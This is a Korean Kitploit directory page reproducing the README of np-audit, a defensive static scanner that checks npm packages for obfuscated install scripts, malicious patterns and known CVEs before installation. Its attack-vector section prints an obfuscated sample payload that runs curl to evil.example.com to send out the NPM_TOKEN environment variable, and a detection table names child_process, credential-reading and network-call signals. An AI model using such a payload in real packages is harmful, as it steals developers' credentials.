Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
np-audit — npm 패키지에 대한 정적 보안 분석. 설치 전에 난독화된 코드, 악성 패턴, 알려진 취약점을 탐지합니다. | Kitploit
도구/GitHubGitHub/koblers/np-audit
Static AnalysisVulnerability ScannersCode AnalysisMalware AnalysisSecret DetectionSupply Chain Security
GitHubkoblers/np-audit

np-audit

npm 패키지에 대한 정적 보안 분석. 설치 전에 난독화된 코드, 악성 패턴, 알려진 취약점을 탐지합니다.

저장소 보기
71개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — npm 패키지 감사기

npm 패키지를 위한 정적 보안 분석 — 난독화된 라이프사이클 스크립트, 알려진 취약점 및 악성 패턴을 실행 전에 감지합니다. npm install 및 npm ci의 드롭인 대체재입니다.

제로 의존성. 순수 Node.js 내장 모듈만 사용합니다. 전송 시 < 100 kB입니다.

root@kitploit:~
npx np-audit scan express
root@kitploit:~
npm install -g np-audit
npa scan                     # 모든 종속성 스캔
npa install                  # 감사 후 설치
alias npm='npa'              # 드롭인 대체재로 사용

마셜러(Marshaller)

탐지는 모듈화된 마셜러로 분할되어 있습니다 — 각각 하나의 공격 신호를 감지합니다:

점수는 심각도에 따라 조정됩니다 — 난독화 지표 수가 많을수록 점수가 높아집니다. 최종 판정은 모든 마셜러 중 가장 높은 개별 점수에 기반합니다.

커스텀 마셜러 작성 방법은 CONTRIBUTING.md를 참조하세요.


취약점 스캔 (CVE)

스캔된 모든 패키지는 코드 분석과 함께 알려진 취약점 데이터베이스에 대해 확인됩니다.

기본값: OSV.dev (설정 불필요)

별도 설정 없이 바로 작동 — 무료 OSV.dev API에 알려진 취약점 및 악성 패키지 권고 사항을 질의합니다.

선택 사항: Snyk API (더 풍부한 데이터)

root@kitploit:~
# 환경 변수
export SNYK_API_TOKEN=your-token-here

# 또는 Snyk CLI를 통해
snyk auth

토큰 확인 순서: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

심각도점수판정

악성이 아닌 CVE는 경고를 생성하지만 설치를 차단하지 않습니다. 확인된 악성 패키지만 DANGER를 유발합니다.


사용법

명령어

인식되지 않은 명령어는 npm으로 전달됩니다 (예: npa run test, npa publish).

플래그

대화형 --review 모드

root@kitploit:~
npa install --review
root@kitploit:~
  npa --review 모드
  ↑/↓ 키로 이동, SPACE로 전환, ENTER로 확인, q로 종료

  설치 스크립트가 있는 패키지 3개 발견:

     [✓ 허용] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ 거부] [email protected]       postinstall: install.js          DANGER (점수: 9)
     [✓ 허용] @scope/[email protected]     postinstall: install.js          WARN (점수: 5)

  2개 허용됨  1개 거부됨

설정

설정은 ~/.npmauditor.json (전역)에 저장되며 프로젝트별로 .npmauditor.json을 통해 재정의할 수 있습니다.

root@kitploit:~
npa config get                              # 현재 설정 보기
npa config set blockScore 6                 # 점수 6 이상에서 차단
npa config set skipPackages '["esbuild"]'   # 특정 패키지 신뢰
npa config set skipScopes '["@types"]'      # 전체 범위 신뢰

모든 설정 키

마셜러 비활성화

disabledMarshallers에 이름을 추가하여 특정 탐지 검사를 비활성화할 수 있습니다:

root@kitploit:~
npa config set disabledMarshallers '["process-env", "network-call"]'

사용 가능한 모든 마셜러 이름과 현재 상태를 보려면:

root@kitploit:~
npa config marshallers

이는 특정 마셜러가 워크플로에 오탐을 발생시킬 때 유용합니다. 비활성화된 마셜러는 정적 코드 분석 및 패키지 수준 검사 모두에서 완전히 건너뜁니다.


셸 별칭

투명한 npm 대체재로 npa를 사용하세요:

root@kitploit:~
npa alias --install     # 추가: alias npm='npa'
source ~/.zshrc         # 셸 다시 로드

이제 npm install, npm ci가 자동으로 스캔됩니다. 다른 모든 npm 명령어 (npm run, npm test, npm publish)는 변경 없이 통과됩니다.

root@kitploit:~
npa alias --uninstall   # 별칭 제거

작동 방식

  1. 구문 분석 package-lock.json (v1/v2/v3) 또는 package.json에서 확인
  2. 가져오기 레지스트리에서 tarball 다운로드 (또는 node_modules에서 읽기)
  3. 구문 분석 라이프사이클 명령어 — &&/||/;/| 분할, node -e, sh -c, 셸 스크립트 처리
  4. 탐색 각 진입점에서 require()/import 그래프 탐색 (사이클 감지, 50개 파일 / 5 MB 제한)
  5. 분석 모든 마셜러로 수행 — 정적 코드 검사 + CVE 데이터베이스 질의
  6. 점수화 및 분류 DANGER / WARN / OK
  7. 보고 또는 설치 진행

공격 벡터

공급망 공격은 npm 라이프사이클 스크립트를 악용합니다. npm install을 실행하면 preinstall/install/postinstall 스크립트가 자동으로 실행됩니다. 공격자는 페이로드를 난독화 뒤에 숨깁니다:

root@kitploit:~
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

실제 사례:

  • event-stream (2018) — 비트코인 지갑 자격 증명 도난
  • ua-parser-js (2021) — 암호화폐 채굴기 + 정보 탈취
  • node-ipc (2022) — 지리적 타겟팅 와이퍼 악성코드
  • colors / faker (2022) — 관리자 파괴 행위
  • SAP CAP / cds-dbs (2025) — 엔터프라이즈 개발자를 대상으로 한 손상된 패키지

npa는 절대 스크립트를 실행하지 않습니다. 다운로드하여 정적으로 분석합니다.


종료 코드

코드의미
0모두 깨끗하거나 경고만 있음
1하나 이상의 패키지가 차단됨

라이선스

MIT

도구 다운로드
Marshaller감지 대상점수
eval/dynamic-execeval(), new Function(), 간접 eval, vm.*, 문자열이 포함된 setTimeout8
obfuscator.io_0x 변수 명명 패턴 (obfuscator.io 출력)9–80
high-entropy-string높은 섀넌 엔트로피를 가진 긴 문자열 또는 연결 체인6
hex-escape-density조밀한 \xNN 및 \uXXXX 이스케이프 시퀀스5–50
fromCharCode많은 인수를 가진 String.fromCharCode, 큰 10진수 문자 코드 배열7
encoded-decodeBase64/16진수 디코드 (atob, Buffer.from) 선택적으로 eval과 결합3–8
child-processrequire('child_process'), exec, spawn, fork, worker_threads5
hex-array많은 수의 0x 16진수 리터럴 값7–60
process-envprocess.env 접근 (자격 증명 유출 신호)3
network-callrequire('https'), fetch(), dns, net, tls4
filesystem-manipulationfs.writeFile, chmod, symlink (백도어 지속성)3–4
runtime-download외부 런타임 (Bun, Deno) 다운로드 및 실행9–50
vscode-autorunrunOn: folderOpen이 설정된 VS Code 작업 (자동 실행)30
known-vulnerabilitySnyk API 또는 OSV.dev를 통한 알려진 CVE4–6 (WARN), 80 (악성)
악성 패키지80DANGER
10개 이상의 취약점6WARN
5–9개 취약점5WARN
1–4개 취약점4WARN
명령어별칭설명
npa install [package]npa i감사 후 npm install 실행
npa ci—감사 후 npm ci 실행
npa scan [package]npa s스캔만 수행, 설치하지 않음
npa config getnpa c get현재 설정 보기
npa config set <key> <value>npa c set설정 값 업데이트
npa alias --install—셸 별칭 설치
npa alias --uninstall—셸 별칭 제거
플래그별칭함께 사용 가능설명
--review-rinstall, ci대화형 모드 — 허용할 스크립트 선택
--json—install, ci, scan기계 판독 가능 JSON 출력
--no-dev—install, ci, scandevDependencies 건너뛰기
--verbose—all가져오기 진행률 및 추가 세부 정보 표시
--version-v—버전 출력 후 종료
--help-h—도움말 출력 후 종료
키기본값설명
blockScore7DANGER (종료 코드 1)에 대한 점수 임계값
warnScore4WARN (종료 코드 0)에 대한 점수 임계값
registryhttps://registry.npmjs.orgnpm 레지스트리 URL
timeout30000HTTP 요청 시간 초과 (ms)
parallelFetches5동시 다운로드 수
skipScopes[]건너뛸 @scope 접두사
skipPackages[]건너뛸 패키지 이름
silentfalse문제가 없을 때 출력 억제
scanSelftrue자체 프로젝트 라이프사이클 스크립트 스캔
maxTarballSize50MB최대 압축 해제 tarball 크기 (폭탄 방지)
checkVulnerabilitiestrueCVE 데이터베이스에서 패키지 확인
deepResolvefalse전체 전이 종속성 트리 확인
disabledMarshallers[]스캔 중 건너뛸 마셜러 이름